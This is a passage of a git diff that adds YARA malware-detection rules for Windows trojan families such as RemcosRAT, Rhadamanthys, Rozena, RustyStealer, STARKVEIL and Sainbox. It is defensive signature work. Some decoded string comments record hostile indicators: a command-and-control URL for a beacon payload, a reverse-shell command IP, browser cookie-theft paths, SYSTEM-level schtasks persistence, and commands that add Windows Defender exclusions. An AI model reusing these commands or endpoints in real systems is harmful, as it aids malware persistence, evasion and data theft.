>=16 + +} \ No newline at end of file diff --git a/Trojan/Win64/RemcosRAT/Trojan_Win64_RemcosRAT_KAT_MTB.yar b/Trojan/Win64/RemcosRAT/Trojan_Win64_RemcosRAT_KAT_MTB.yar new file mode 100644 index 0000000000..79977afda6 --- /dev/null +++ b/Trojan/Win64/RemcosRAT/Trojan_Win64_RemcosRAT_KAT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_RemcosRAT_KAT_MTB{ + meta: + description = "Trojan:Win64/RemcosRAT.KAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {65 48 8b 04 25 30 00 00 00 48 8b 50 60 48 85 c9 75 09 48 8b 42 10 e9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ReverseShell/Trojan_Win64_ReverseShell_SX_MTB.yar b/Trojan/Win64/ReverseShell/Trojan_Win64_ReverseShell_SX_MTB.yar new file mode 100644 index 0000000000..88a0366c12 --- /dev/null +++ b/Trojan/Win64/ReverseShell/Trojan_Win64_ReverseShell_SX_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_ReverseShell_SX_MTB{ + meta: + description = "Trojan:Win64/ReverseShell.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 04 00 00 " + + strings : + $a_03_0 = {48 89 ea 48 c7 44 24 20 00 00 00 00 4d 89 e1 ff 15 ?? ?? ?? ?? 48 8b 1d ?? ?? ?? ?? 4c 89 e9 ff d3 31 c0 b9 1a 00 00 00 48 89 ef f3 ab c7 44 24 70 68 00 00 00 ff 15 } //15 + $a_01_1 = {45 31 c9 45 31 c0 4c 89 f1 48 89 c2 48 8d 44 24 70 4c 89 64 24 48 48 89 44 24 40 48 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 c7 44 24 28 00 00 00 00 c7 44 24 20 00 00 00 00 ff 15 } //15 + $a_01_2 = {31 f6 48 8b 7c 24 58 b9 7e 00 00 00 45 31 c9 48 89 f0 41 b8 00 04 00 00 48 89 ea 48 c7 84 24 d0 02 00 00 00 00 00 00 f3 48 ab 4c 89 f1 48 c7 84 24 d8 02 00 00 00 00 00 00 ff 15 } //10 + $a_01_3 = {25 73 5f 25 30 38 58 2e 65 78 65 } //5 %s_%08X.exe + condition: + ((#a_03_0 & 1)*15+(#a_01_1 & 1)*15+(#a_01_2 & 1)*10+(#a_01_3 & 1)*5) >=45 + +} \ No newline at end of file diff --git a/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_KKL_MTB.yar b/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_KKL_MTB.yar new file mode 100644 index 0000000000..93951c42fd --- /dev/null +++ b/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_KKL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Rhadamanthys_KKL_MTB{ + meta: + description = "Trojan:Win64/Rhadamanthys.KKL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {88 10 48 8d 54 24 40 48 8b 44 24 58 44 30 10 49 8b c6 83 e0 0f 48 03 c8 41 0f b6 04 24 32 01 32 85 ?? ?? ?? ?? 88 01 48 8d 4c 24 60 e8 ff f9 ff ff 4c 8b a5 ?? ?? ?? ?? 43 30 04 34 4d 8b f5 49 81 fd 00 fe 07 00 0f 82 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_NR_MTB.yar b/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_NR_MTB.yar index 5176eefd9b..4a381e86ca 100644 --- a/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_NR_MTB.yar +++ b/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_NR_MTB.yar @@ -9,4 +9,15 @@ rule Trojan_Win64_Rhadamanthys_NR_MTB{ condition: ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 +} +rule Trojan_Win64_Rhadamanthys_NR_MTB_2{ + meta: + description = "Trojan:Win64/Rhadamanthys.NR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {48 d1 e0 48 85 c0 0f 85 9b 00 00 00 31 c0 86 05 f5 3e 0a 00 3c 02 74 7e 83 bd ?? 00 00 00 01 0f 85 a6 fd ff ff 4c 8b b5 ?? 00 00 00 0f b6 95 00 01 00 00 f6 c2 01 } //3 + $a_01_1 = {f6 c2 01 0f 85 82 fd ff ff 48 8b 05 26 3f 0a 00 48 8b 00 48 d1 e0 48 85 c0 } //1 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + } \ No newline at end of file diff --git a/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_PKV_MTB.yar b/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_PKV_MTB.yar new file mode 100644 index 0000000000..ea31029503 --- /dev/null +++ b/Trojan/Win64/Rhadamanthys/Trojan_Win64_Rhadamanthys_PKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Rhadamanthys_PKV_MTB{ + meta: + description = "Trojan:Win64/Rhadamanthys.PKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 44 04 40 30 41 02 49 8d 47 03 48 03 c1 83 e0 0f 0f b6 44 04 ?? 30 41 03 49 8d 47 04 48 03 c1 83 e0 0f 0f b6 44 04 40 30 41 04 48 83 c1 06 48 83 ea 01 75 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Rozena/Trojan_Win64_Rozena_GVA_MTB.yar b/Trojan/Win64/Rozena/Trojan_Win64_Rozena_GVA_MTB.yar new file mode 100644 index 0000000000..64b1cbc6bc --- /dev/null +++ b/Trojan/Win64/Rozena/Trojan_Win64_Rozena_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Rozena_GVA_MTB{ + meta: + description = "Trojan:Win64/Rozena.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {3a 2f 2f 31 31 30 2e 34 31 2e 31 37 30 2e 32 33 31 3a 38 30 30 30 2f 62 65 61 63 6f 6e 2e 62 69 6e 2e 65 6e 63 } //2 ://110.41.170.231:8000/beacon.bin.enc + $a_01_1 = {73 63 68 74 61 73 6b 73 73 68 75 74 64 6f 77 6e } //1 schtasksshutdown + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Rozena/Trojan_Win64_Rozena_PA_MTB.yar b/Trojan/Win64/Rozena/Trojan_Win64_Rozena_PA_MTB.yar new file mode 100644 index 0000000000..78e4668648 --- /dev/null +++ b/Trojan/Win64/Rozena/Trojan_Win64_Rozena_PA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Rozena_PA_MTB{ + meta: + description = "Trojan:Win64/Rozena.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {33 c9 8b d7 48 8b c1 48 8d 5b 01 83 e0 03 48 ff c1 0f b6 44 04 38 30 43 ff 48 83 ea 01 75 ?? 48 8b 5c 24 ?? 48 83 c4 20 5f c3 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Rozena/Trojan_Win64_Rozena_PGR_MTB.yar b/Trojan/Win64/Rozena/Trojan_Win64_Rozena_PGR_MTB.yar new file mode 100644 index 0000000000..b0b552b56a --- /dev/null +++ b/Trojan/Win64/Rozena/Trojan_Win64_Rozena_PGR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Rozena_PGR_MTB{ + meta: + description = "Trojan:Win64/Rozena.PGR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 fc 48 98 48 8d 14 85 00 00 00 00 48 8b 45 10 48 01 d0 8b 00 48 63 d0 48 8b 45 18 48 01 d0 8b 55 fc 48 63 ca 48 8b 55 f0 48 01 ca 0f b6 00 88 02 83 45 fc 01 8b 45 fc 3b 45 f8 7c } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HI_MTB.yar b/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HI_MTB.yar new file mode 100644 index 0000000000..3e4ffcb916 --- /dev/null +++ b/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HI_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_Rugmi_HI_MTB{ + meta: + description = "Trojan:Win64/Rugmi.HI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 06 00 00 " + + strings : + $a_23_0 = {d0 48 89 c7 90 01 01 8b 05 90 00 14 } //20 + $a_ff_1 = {48 89 df 90 01 01 8b 1d 90 00 14 00 0c 23 ff d1 48 89 cf 90 01 01 8b 0d 90 00 01 00 11 03 48 63 40 3c 8b } //3072 + $a_00_2 = {00 00 90 01 01 8b 90 00 01 00 11 03 48 63 5b 3c 8b 9c 1e 88 00 00 00 90 01 01 8b 90 00 01 00 11 03 48 63 49 3c 8b 8c 0e 88 00 00 00 90 01 01 8b 90 00 00 00 5d 04 00 00 23 10 07 80 5c 27 00 00 24 10 07 80 00 00 01 00 08 00 11 00 ac 21 41 6d 64 65 79 52 75 6e 6e 65 72 21 72 66 6e 00 00 06 40 05 82 70 00 04 00 67 16 00 00 ad 19 d7 03 a6 ed b6 b1 d1 9a d9 1e 00 00 0e 00 01 20 51 4d 7d 6d 67 16 00 00 39 ce f0 } //1668 + $a_4b_3 = {97 e8 f6 11 ba 54 33 00 01 20 30 5e 57 2d 67 16 00 00 39 ce f0 d5 45 1a cd f7 97 e8 f6 11 b3 4a 33 00 01 20 91 00 7a d4 67 16 00 00 39 ce f0 d5 88 47 49 00 97 e8 f6 11 66 55 33 00 01 20 aa fb 13 e0 67 16 00 00 39 ce f0 d5 9f ce 3b c0 97 e8 f6 11 b3 4a 33 00 01 20 30 3e b0 98 67 16 00 00 39 } //6101 + $a_f6_4 = {bc 58 97 e8 f6 11 c2 54 33 00 01 20 77 36 e1 d0 5d 04 00 00 24 10 07 80 5c 29 00 00 25 10 07 80 00 00 01 00 04 00 13 00 89 21 43 6f 69 6e 4d 69 6e 65 72 2e 4c 55 4a 21 4d 54 42 00 00 01 40 05 82 5c 00 04 00 29 55 00 00 00 01 00 ff ff ff ff 4a 00 00 00 79 75 68 73 6d 67 6e 69 74 74 7a 6d 65 74 6b 7a 22 5f 26 22 7a 64 6e 6a 64 77 71 79 7a 67 78 6b 72 31 70 77 79 6b 64 77 65 6b 78 74 74 6e 7a 69 75 7a 6c 74 74 64 6a 6f 63 75 78 74 76 6a 72 61 75 74 30 39 69 69 61 6b 90 00 5d 04 00 00 25 10 07 80 5c 25 00 00 26 10 07 80 00 00 01 00 08 00 0f 00 ad 41 52 65 6d 63 6f 73 52 41 54 21 4d 54 42 00 00 0d 40 05 82 70 00 04 00 67 16 00 00 a5 6d } //-3890 + $a_46_5 = {e5 d6 02 d0 fe 95 83 00 00 00 20 d6 02 d0 fe 67 16 00 00 28 54 b2 0b 4c 39 70 39 19 11 b0 55 5b 83 00 00 00 20 19 11 b0 55 67 16 00 00 84 83 8d 0e 95 3b 11 40 8f 4d 58 91 bc 83 00 00 00 20 8f 4d 58 91 67 16 00 00 0d a3 57 1d 79 b2 d2 06 d5 7a 69 f8 cd 16 00 00 00 20 d5 7a 69 f8 67 16 00 00 8f 95 64 2d 7b fa f9 1b 75 ce af 20 73 83 00 00 00 20 75 ce af 20 67 16 00 00 1c 5e d5 33 91 ba db } //412 + condition: + ((#a_23_0 & 1)*20+(#a_ff_1 & 1)*3072+(#a_00_2 & 1)*1668+(#a_4b_3 & 1)*6101+(#a_f6_4 & 1)*-3890+(#a_46_5 & 1)*412) >=21 + +} \ No newline at end of file diff --git a/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HJ_MTB.yar b/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HJ_MTB.yar new file mode 100644 index 0000000000..5c33eebbda --- /dev/null +++ b/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Rugmi_HJ_MTB{ + meta: + description = "Trojan:Win64/Rugmi.HJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 01 00 00 " + + strings : + $a_23_0 = {31 c0 89 c2 66 83 3c 90 01 01 00 90 09 06 00 90 03 01 01 48 4c 8b 90 00 00 } //20 + condition: + ((#a_23_0 & 1)*20) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HK_MTB.yar b/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HK_MTB.yar new file mode 100644 index 0000000000..0e4bfe6754 --- /dev/null +++ b/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Rugmi_HK_MTB{ + meta: + description = "Trojan:Win64/Rugmi.HK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 63 48 3c 49 ?? ?? 8b 7c ?? 2c [0-1a] ff [d0-d7] } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HL_MTB.yar b/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HL_MTB.yar new file mode 100644 index 0000000000..508793bc76 --- /dev/null +++ b/Trojan/Win64/Rugmi/Trojan_Win64_Rugmi_HL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Rugmi_HL_MTB{ + meta: + description = "Trojan:Win64/Rugmi.HL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {88 00 00 00 44 8b ?? ?? 24 8b ?? 90 1b 01 1c 90 09 07 00 48 63 48 3c 8b ?? 01 [0-ff] 44 8b [0-ff] 8b [0d 05 1d] [0-ff] ff 90 04 01 0[] } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_GPXB_MTB.yar b/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_GPXB_MTB.yar new file mode 100644 index 0000000000..7313747e58 --- /dev/null +++ b/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_GPXB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_RustyStealer_GPXB_MTB{ + meta: + description = "Trojan:Win64/RustyStealer.GPXB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " + + strings : + $a_81_0 = {50 72 79 73 6d 61 78 20 53 74 65 61 6c 65 72 20 43 6f 6f 6b 69 65 73 } //2 Prysmax Stealer Cookies + $a_81_1 = {57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 4b 61 73 70 65 72 73 6b 79 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4b 61 73 70 65 72 73 6b 79 20 4c 61 62 41 76 61 73 74 } //2 Windows DefenderC:\Program Files\Windows DefenderKasperskyC:\Program Files (x86)\Kaspersky LabAvast + $a_81_2 = {4c 4f 43 41 4c 41 50 50 44 41 54 41 73 72 63 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6f 6b 69 65 73 2e 72 73 } //1 LOCALAPPDATAsrc/modules/cookies.rs + $a_81_3 = {63 68 72 6f 6d 65 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 63 68 72 6f 6d 65 2e 65 78 65 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 65 64 67 65 } //1 chromeGoogle\Chrome\Application\chrome.exeGoogle\Chrome\User Dataedge + $a_81_4 = {73 63 68 74 61 73 6b 73 2f 44 65 6c 65 74 65 2f 54 4e 2f 43 72 65 61 74 65 2f 53 43 2f 52 4c 48 49 47 48 45 53 54 2f 52 55 4e 54 20 41 55 54 48 4f 52 49 54 59 5c 53 59 53 54 45 4d 2f 54 52 5b 43 4c 49 50 50 45 52 5d } //1 schtasks/Delete/TN/Create/SC/RLHIGHEST/RUNT AUTHORITY\SYSTEM/TR[CLIPPER] + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_MMR_MTB.yar b/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_MMR_MTB.yar new file mode 100644 index 0000000000..7ee2303036 --- /dev/null +++ b/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_MMR_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_RustyStealer_MMR_MTB{ + meta: + description = "Trojan:Win64/RustyStealer.MMR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {63 6d 64 2f 43 39 36 2e 39 2e 31 32 35 2e 32 30 30 } //1 cmd/C96.9.125.200 + $a_01_1 = {55 73 65 72 73 5c 50 75 62 6c 69 63 5c 4c 69 62 72 61 72 69 65 73 5c 73 79 73 74 65 6d 68 65 6c 70 65 72 2e 65 78 65 } //1 Users\Public\Libraries\systemhelper.exe + $a_01_2 = {72 65 76 73 68 65 6c 6c 2e 70 64 62 } //1 revshell.pdb + $a_01_3 = {52 75 73 74 42 61 63 6b 74 72 61 63 65 4d 75 74 65 78 } //1 RustBacktraceMutex + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_RCB_MTB.yar b/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_RCB_MTB.yar new file mode 100644 index 0000000000..3e3a8cbe21 --- /dev/null +++ b/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_RCB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_RustyStealer_RCB_MTB{ + meta: + description = "Trojan:Win64/RustyStealer.RCB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {49 39 d5 0f 83 fe 00 00 00 49 83 fd 40 0f 83 e8 00 00 00 42 32 34 28 42 88 b4 2c c0 01 00 00 eb ac } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_SMW_MTB.yar b/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_SMW_MTB.yar new file mode 100644 index 0000000000..3b52fc72b4 --- /dev/null +++ b/Trojan/Win64/RustyStealer/Trojan_Win64_RustyStealer_SMW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_RustyStealer_SMW_MTB{ + meta: + description = "Trojan:Win64/RustyStealer.SMW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {4c 8b 44 11 08 4c 33 44 08 08 4c 89 84 0d 48 24 00 00 48 83 c1 08 48 83 f9 50 72 e4 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/STARKVEIL/Trojan_Win64_STARKVEIL_DA_MTB.yar b/Trojan/Win64/STARKVEIL/Trojan_Win64_STARKVEIL_DA_MTB.yar new file mode 100644 index 0000000000..4f9d3f7400 --- /dev/null +++ b/Trojan/Win64/STARKVEIL/Trojan_Win64_STARKVEIL_DA_MTB.yar @@ -0,0 +1,35 @@ + +rule Trojan_Win64_STARKVEIL_DA_MTB{ + meta: + description = "Trojan:Win64/STARKVEIL.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,69 00 69 00 19 00 00 " + + strings : + $a_03_0 = {41 00 49 00 5f 00 32 00 30 00 32 00 35 00 [0-02] 5f 00 [0-19] 5f 00 [0-0f] 2e 00 70 00 64 00 62 00 } //100 + $a_03_1 = {41 49 5f 32 30 32 35 [0-02] 5f [0-19] 5f [0-0f] 2e 70 64 62 } //100 + $a_03_2 = {46 00 69 00 6c 00 65 00 5f 00 41 00 49 00 5f 00 [0-19] 5f 00 [0-0f] 2e 00 70 00 64 00 62 00 } //100 + $a_03_3 = {46 69 6c 65 5f 41 49 5f [0-19] 5f [0-0f] 2e 70 64 62 } //100 + $a_03_4 = {4c 00 75 00 6d 00 61 00 5f 00 32 00 30 00 32 00 35 00 5f 00 [0-19] 2e 00 70 00 64 00 62 00 } //100 + $a_03_5 = {4c 75 6d 61 5f 32 30 32 35 5f [0-19] 2e 70 64 62 } //100 + $a_03_6 = {4c 00 75 00 6d 00 61 00 41 00 49 00 5f 00 [0-19] 5f 00 [0-0f] 2e 00 70 00 64 00 62 00 } //100 + $a_03_7 = {4c 75 6d 61 41 49 5f [0-19] 5f [0-0f] 2e 70 64 62 } //100 + $a_03_8 = {4c 00 75 00 6d 00 61 00 6c 00 61 00 62 00 73 00 61 00 69 00 5f 00 [0-19] 5f 00 [0-0f] 2e 00 70 00 64 00 62 00 } //100 + $a_03_9 = {4c 75 6d 61 6c 61 62 73 61 69 5f [0-19] 5f [0-0f] 2e 70 64 62 } //100 + $a_03_10 = {4c 00 75 00 6d 00 61 00 44 00 72 00 65 00 61 00 6d 00 5f 00 [0-19] 5f 00 [0-0f] 2e 00 70 00 64 00 62 00 } //100 + $a_03_11 = {4c 75 6d 61 44 72 65 61 6d 5f [0-19] 5f [0-0f] 2e 70 64 62 } //100 + $a_03_12 = {4c 00 75 00 6d 00 61 00 6c 00 61 00 62 00 73 00 5f 00 [0-19] 5f 00 [0-0f] 2e 00 70 00 64 00 62 00 } //100 + $a_03_13 = {4c 75 6d 61 6c 61 62 73 5f [0-19] 5f [0-0f] 2e 70 64 62 } //100 + $a_03_14 = {4f 00 4e 00 45 00 4f 00 41 00 49 00 5f 00 4d 00 50 00 34 00 5f 00 [0-19] 2e 00 70 00 64 00 62 00 } //100 + $a_03_15 = {4f 4e 45 4f 41 49 5f 4d 50 34 5f [0-19] 2e 70 64 62 } //100 + $a_03_16 = {49 00 6e 00 76 00 69 00 64 00 5f 00 48 00 51 00 5f 00 [0-19] 2e 00 70 00 64 00 62 00 } //100 + $a_03_17 = {49 6e 76 69 64 5f 48 51 5f [0-19] 2e 70 64 62 } //100 + $a_03_18 = {4c 00 55 00 4d 00 41 00 [0-0f] 5f 00 4d 00 50 00 34 00 5f 00 [0-19] 2e 00 70 00 64 00 62 00 } //100 + $a_03_19 = {4c 55 4d 41 [0-0f] 5f 4d 50 34 5f [0-19] 2e 70 64 62 } //100 + $a_81_20 = {53 63 72 65 65 6e 54 6f 43 6c 69 65 6e 74 } //1 ScreenToClient + $a_81_21 = {47 65 74 4b 65 79 62 6f 61 72 64 53 74 61 74 65 } //1 GetKeyboardState + $a_81_22 = {53 65 74 43 61 70 74 75 72 65 } //1 SetCapture + $a_81_23 = {52 65 76 6f 6b 65 44 72 61 67 44 72 6f 70 } //1 RevokeDragDrop + $a_81_24 = {72 75 73 74 5f 70 61 6e 69 63 } //1 rust_panic + condition: + ((#a_03_0 & 1)*100+(#a_03_1 & 1)*100+(#a_03_2 & 1)*100+(#a_03_3 & 1)*100+(#a_03_4 & 1)*100+(#a_03_5 & 1)*100+(#a_03_6 & 1)*100+(#a_03_7 & 1)*100+(#a_03_8 & 1)*100+(#a_03_9 & 1)*100+(#a_03_10 & 1)*100+(#a_03_11 & 1)*100+(#a_03_12 & 1)*100+(#a_03_13 & 1)*100+(#a_03_14 & 1)*100+(#a_03_15 & 1)*100+(#a_03_16 & 1)*100+(#a_03_17 & 1)*100+(#a_03_18 & 1)*100+(#a_03_19 & 1)*100+(#a_81_20 & 1)*1+(#a_81_21 & 1)*1+(#a_81_22 & 1)*1+(#a_81_23 & 1)*1+(#a_81_24 & 1)*1) >=105 + +} \ No newline at end of file diff --git a/Trojan/Win64/STARKVEIL/Trojan_Win64_STARKVEIL_DB_MTB.yar b/Trojan/Win64/STARKVEIL/Trojan_Win64_STARKVEIL_DB_MTB.yar new file mode 100644 index 0000000000..0f67d25370 --- /dev/null +++ b/Trojan/Win64/STARKVEIL/Trojan_Win64_STARKVEIL_DB_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win64_STARKVEIL_DB_MTB{ + meta: + description = "Trojan:Win64/STARKVEIL.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,ffffffcd 00 ffffffcd 00 07 00 00 " + + strings : + $a_81_0 = {43 3a 2f 77 69 6e 73 79 73 74 65 6d } //100 C:/winsystem + $a_81_1 = {43 61 70 43 75 74 2e 70 64 62 } //100 CapCut.pdb + $a_81_2 = {53 63 72 65 65 6e 54 6f 43 6c 69 65 6e 74 } //1 ScreenToClient + $a_81_3 = {47 65 74 4b 65 79 62 6f 61 72 64 53 74 61 74 65 } //1 GetKeyboardState + $a_81_4 = {53 65 74 43 61 70 74 75 72 65 } //1 SetCapture + $a_81_5 = {52 65 76 6f 6b 65 44 72 61 67 44 72 6f 70 } //1 RevokeDragDrop + $a_81_6 = {72 75 73 74 5f 70 61 6e 69 63 } //1 rust_panic + condition: + ((#a_81_0 & 1)*100+(#a_81_1 & 1)*100+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=205 + +} \ No newline at end of file diff --git a/Trojan/Win64/Sainbox/Trojan_Win64_Sainbox_A.yar b/Trojan/Win64/Sainbox/Trojan_Win64_Sainbox_A.yar new file mode 100644 index 0000000000..d2cec68cdf --- /dev/null +++ b/Trojan/Win64/Sainbox/Trojan_Win64_Sainbox_A.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win64_Sainbox_A{ + meta: + description = "Trojan:Win64/Sainbox.A,SIGNATURE_TYPE_PEHSTR_EXT,69 00 69 00 0b 00 00 " + + strings : + $a_01_0 = {f1 d5 00 fa 4c 62 cc f4 0f 0b } //100 + $a_03_1 = {76 73 73 65 72 76 2e 65 78 65 [0-10] 2e 65 78 65 [0-10] 2e 65 78 65 [0-10] 2e 65 78 65 [0-10] 2e 65 78 65 } //1 + $a_01_2 = {47 65 74 44 61 74 61 00 43 3a 5c 55 73 65 72 73 5c } //1 + $a_01_3 = {43 3a 5c 57 69 6e 64 6f 77 73 5c 54 65 6d 70 5c 61 63 65 70 72 6f 63 74 65 64 2e 73 79 73 } //1 C:\Windows\Temp\aceprocted.sys + $a_01_4 = {72 65 67 20 61 64 64 20 5c 22 20 48 4b 4c 4d 5c 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 45 78 63 6c 75 73 69 6f 6e 73 5c 50 61 74 68 73 } //1 reg add \" HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths + $a_03_5 = {53 43 48 54 41 53 4b 53 20 2f 52 75 6e 20 2f 54 4e 20 [0-10] 20 26 20 53 43 48 54 41 53 4b 53 20 2f 44 65 6c 65 74 65 20 2f 54 4e 20 [0-10] 20 2f 46 } //1 + $a_03_6 = {53 43 48 54 41 53 4b 53 20 2f 43 72 65 61 74 65 20 2f 46 20 2f 54 4e 20 [0-10] 20 2f 53 43 20 4f 4e 43 45 20 2f 53 54 20 30 30 3a 30 30 20 2f 52 4c 20 48 49 47 48 45 53 54 20 2f 52 55 20 22 53 59 53 54 45 4d 22 } //1 + $a_01_7 = {41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 } //1 Add-MpPreference -ExclusionPath + $a_03_8 = {5c 5c 2e 5c 70 69 70 65 5c 25 73 [0-10] 54 43 4c 53 65 72 76 69 63 65 } //1 + $a_01_9 = {4d 75 73 69 63 5c 64 65 73 74 6f 70 62 61 6b } //1 Music\destopbak + $a_01_10 = {5c 50 75 62 6c 69 63 5c 4d 70 44 65 66 65 6e 64 65 72 } //1 \Public\MpDefender + condition: + ((#a_01_0 & 1)*100+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_01_7 & 1)*1+(#a_03_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=105 + +} \ No newline at end of file diff --git a/Trojan/Win64/Sainbox/Trojan_Win64_Sainbox_C.yar b/Trojan/Win64/Sainbox/Trojan_Win64_Sainbox_C.yar new file mode 100644 index 0000000000..8cf6df880f --- 